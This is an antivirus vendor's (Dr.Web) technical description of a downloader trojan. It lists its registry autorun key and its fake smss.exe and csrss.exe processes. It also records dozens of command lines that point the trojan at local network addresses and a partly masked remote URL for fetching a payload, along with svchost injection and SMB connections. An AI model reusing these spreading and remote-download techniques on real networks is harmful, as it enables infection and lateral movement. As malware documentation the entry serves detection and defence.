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Trojan.DownLoader10.39645

Added to the Dr.Web virus database: 2013-11-02

Virus description added:

Technical Information

To ensure autorun and distribution:
Modifies the following registry keys:
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'msn.exe' = '<DRIVERS>\csrss.exe'
Malicious functions:
Creates and executes the following:
  • '<DRIVERS>\smss.exe' /pid=3168
  • '<DRIVERS>\smss.exe' 10.0.0.102 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.103 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.104 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3248
  • '<DRIVERS>\smss.exe' 10.0.0.100 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.99 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=2912
  • '<DRIVERS>\smss.exe' /pid=3064
  • '<DRIVERS>\smss.exe' 10.0.0.101 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3540
  • '<DRIVERS>\smss.exe' 10.0.0.109 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.110 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3584
  • '<DRIVERS>\smss.exe' 10.0.0.111 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3284
  • '<DRIVERS>\smss.exe' 10.0.0.105 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.106 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.108 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.107 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.88 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.87 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.89 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.90 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=888
  • '<DRIVERS>\smss.exe' 10.0.0.83 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.82 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.84 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.86 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.85 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=2748
  • '<DRIVERS>\smss.exe' 10.0.0.96 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.97 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.98 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=2792
  • '<DRIVERS>\smss.exe' 10.0.0.93 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.91 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.94 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.95 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.92 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.113 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.137 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.136 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.138 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.140 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.139 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.132 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.131 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.133 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.135 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.134 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.147 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.146 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.148 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.150 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.149 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.142 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.141 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.143 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.145 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.144 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.118 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.117 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.119 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.121 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.120 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.114 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3764
  • '<DRIVERS>\smss.exe' 10.0.0.115 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=504
  • '<DRIVERS>\smss.exe' 10.0.0.116 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.128 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.127 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.129 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3420
  • '<DRIVERS>\smss.exe' 10.0.0.130 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.123 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.122 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.124 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.126 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.125 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.81 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.27 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.26 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.28 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.30 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.29 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.22 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.21 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.23 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.25 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.24 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.37 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.36 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.38 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.40 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.39 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.32 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.31 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.33 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.35 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.34 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.7 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.6 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.8 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.10 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.9 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.2 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\csrss.exe'
  • '<DRIVERS>\smss.exe' 10.0.0.3 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.5 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.4 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.17 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.16 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.18 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.20 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.19 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.12 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.11 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.13 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.15 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.14 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.41 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.69 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.68 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.70 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.72 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.71 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.63 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.62 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.64 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.66 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.65 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.79 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.78 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' /pid=3632
  • '<DRIVERS>\smss.exe' /pid=3736
  • '<DRIVERS>\smss.exe' 10.0.0.80 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.74 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.73 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.75 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.77 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.76 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.48 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.47 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.49 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.51 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.50 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.43 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.42 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.44 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.46 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.45 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.58 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.57 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.59 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.61 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.60 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.53 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.52 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.54 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.56 http://co##t.xj.cn/count/js/update/se.exe
  • '<DRIVERS>\smss.exe' 10.0.0.55 http://co##t.xj.cn/count/js/update/se.exe
Executes the following:
  • '<SYSTEM32>\find.exe' "IP Address"
  • '<SYSTEM32>\ipconfig.exe'
  • '%WINDIR%\regedit.exe' /s <DRIVERS>\1.txt
Injects code into
the following system processes:
  • <SYSTEM32>\svchost.exe
Modifies file system :
Creates the following files:
  • \Device\LanmanRedirector\10.0.0.15\pipe\browser
  • \Device\LanmanRedirector\10.0.0.14\pipe\browser
  • \Device\LanmanRedirector\10.0.0.13\pipe\browser
  • \Device\LanmanRedirector\10.0.0.16\pipe\browser
  • \Device\LanmanRedirector\10.0.0.19\pipe\browser
  • \Device\LanmanRedirector\10.0.0.18\pipe\browser
  • \Device\LanmanRedirector\10.0.0.17\pipe\browser
  • <DRIVERS>\csrss.exe
  • <DRIVERS>\1.txt
  • <DRIVERS>\smss.exe
  • %TEMP%\bt8001.bat
  • \Device\LanmanRedirector\10.0.0.12\pipe\browser
  • \Device\LanmanRedirector\10.0.0.11\pipe\browser
  • \Device\LanmanRedirector\10.0.0.10\pipe\browser
Sets the 'hidden' attribute to the following files:
  • %TEMP%\bt8001.bat
Network activity:
Connects to:
  • '<Private IP address>':80
  • '<Private IP address>':139
  • '<Private IP address>':445
Miscellaneous:
Searches for the following windows:
  • ClassName: 'RegEdit_RegEdit' WindowName: '(null)'
  • ClassName: 'Indicator' WindowName: '(null)'
  • ClassName: 'EDIT' WindowName: '(null)'
  • ClassName: 'Shell_TrayWnd' WindowName: '(null)'

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